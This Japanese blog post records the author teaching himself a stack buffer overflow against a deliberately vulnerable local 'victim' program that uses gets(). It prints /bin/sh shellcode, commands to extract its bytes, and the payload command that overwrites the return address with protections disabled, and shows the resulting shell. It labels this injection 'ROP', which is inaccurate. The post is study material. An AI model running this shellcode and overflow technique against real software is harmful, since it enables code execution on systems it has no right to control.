FPGA開発日記

カテゴリ別記事インデックス https://msyksphinz.github.io/github_pages , English Version https://fpgadevdiary.hatenadiary.com/

ROP(Return-Oriented Programming)についての勉強

Spectre 1.1 / Spectre 1.2 についての論文を読んでいるのだが、その中でROP(Return-Oriented Programming)というものが登場しており、どんなものかわからなかったので調べてみた。

具体的には、プログラムのスタックがオーバフローすることにより悪意のあるプログラムを実行することができるという技術で、おもに攻撃対象となるプログラムがスタックを溢れさせてしまう問題を突くことによって実現される。

以下のウェブサイトを読みながら進めていった。

postd.cc

上記のウェブサイトでは、例として攻撃プログラムshell.cを使い、攻撃対象プログラムvictim.cを乗っ取る方式を説明している。

まず、shell.cだが、以下のような構成をしており、これ自体はexecveシステムコールを実行するためのものだ。 引数として使用されるレジスタはすべてゼロに初期化されており、またこのプログラム自体は、アセンブリのどの位置から実行されても(先頭に戻るジャンプが仕込まれていることにより)必ずsyscall命令によりexecveが実行されるコードになっている。

  • shell.c
int main() {
  asm("\
needle0: jmp there\n\
here:    pop %rdi\n\
         xor %rax, %rax\n\
         movb $0x3b, %al\n\
         xor %rsi, %rsi\n\
         xor %rdx, %rdx\n\
         syscall\n\
there:   call here\n\
.string \"/bin/sh\"\n\
needle1: .octa 0xdeadbeef\n\
  ");
}

次に、victim.cを見ていく。これは明らかに脆弱性のあるプログラムで、入力データによってはバッファオーバフローする可能性があるプログラムだ。 - victim.c

#include <stdio.h>
int main() {
  char name[64];
  puts("What's your name?");
  gets(name);
  printf("Hello, %s!\n", name);
  return 0;
}

このプログラムはgets()により入力されるデータが64バイトよりも大きければ簡単にオーバフローしてしまうプログラムである。

これに対して上記のshell.cコンパイルしたものを注入すると、これによりスタックポインタが上書きされてしまい、shell.cのコードが実行されてしまうというのがROP (Return-Oriented Programming)の考え方だ。

$ gcc shell.c

生成されたa.outから注入したいコードを抽出する。

$ objdump -d | sed -n '/needle0/,/needle1/p'
00000000000005fe <needle0>:
 5fe:   eb 0e                   jmp    60e <there>

0000000000000600 <here>:
 600:   5f                      pop    %rdi
 601:   48 31 c0                xor    %rax,%rax
 604:   b0 3b                   mov    $0x3b,%al
 606:   48 31 f6                xor    %rsi,%rsi
 609:   48 31 d2                xor    %rdx,%rdx
 60c:   0f 05                   syscall

000000000000060e <there>:
 60e:   e8 ed ff ff ff          callq  600 <here>
 613:   2f                      (bad)
 614:   62                      (bad)
 615:   69                      .byte 0x69
 616:   6e                      outsb  %ds:(%rsi),(%dx)
 617:   2f                      (bad)
 618:   73 68                   jae    682 <__libc_csu_init+0x42>
        ...

000000000000061b <needle1>:

注入したいコードは0x61b - 0x5feのため、合計で29バイトとなる。32ビットに切り上げて、注入するためのファイルを作成する。

$ xxd -s0x5fe -l32 -p a.out shellcode
$ cat shellcode
$ cat shellcode
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
bead

victimを攻撃する

まずはname[64]の場所を取得するために、以下のようにプログラムを細工する(これはズルだけども...)

ASLR(アドレスのランダム化)を無効化して、アドレスを常に固定する。

#include <stdio.h>
int main() {
  char name[64];
  printf("%p\n", name);  // Print address of buffer.
  puts("What's your name?");
  gets(name);
  printf("Hello, %s!\n", name);
  return 0;
}

以下のようにしてアドレスを確認した。nameのアドレスは0x7fffad3f7480だ。これをリトルエンディアンで取得しておく。環境変数$aだ。

$ gcc -fno-stack-protector -o victim victim.c
$ setarch `arch` -R ./victim
0x7fffffffd030
What's your name?
$ a=`printf %016x 0x7fffffffd030 | tac -rs..`
$ echo a
30d0ffffff7f0000

以下のようなコマンドを入力する。

$ ((cat shellcode ; printf %080d 0 ; echo $a) | xxd -r -p ; cat) | setarch `arch` -R ./victim

何をやっているのかややこしいが、1つ1つ分解していく。まずは cat shellcode ; printf %080d 0 ; echo $a まで。

$ cat shellcode ; printf %080d 0 ; echo $a
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
bead
0000000000000000000000000000000000000000000000000000000000000000000000000000000030d0ffffff7f0000

最初の32バイトまでがgets()によりname[32]に呼び込まれる。 次に40バイトの0が入力され、そのうちね32個がnameの残りを埋める。そして余った8バイトはRBPレジスタの場所を上書きする。 最後に、残りの8バイトが戻りアドレスを上書きすることで、シェルコードが実行されるようになる。

f:id:msyksphinz:20180717014140p:plain
図. victim のスタックを書き潰していく様子。

このプログラムを実行するために、victimはさらに弱くなっておく必要がある。

$ gcc -fno-stack-protector -o victim victim.c  # Stackフレームのチェックを無効化する
$ execstack -s victim # NXビット(実行保護)を無効化する。

これで、以下のコマンドを実行する。

$ ((cat shellcode ; printf %080d 0 ; echo $a) | xxd -r -p ; cat) | setarch `arch` -R ./victim
0x7fffffffd030
What's your name?
ls
Hello, _H1;H1H1/bin/sh!
ls
a.out  shell.c  shellcode  victim  victim.c

lsコマンドが実行できるようになり、/bin/shによりshell.cが乗っ取られた。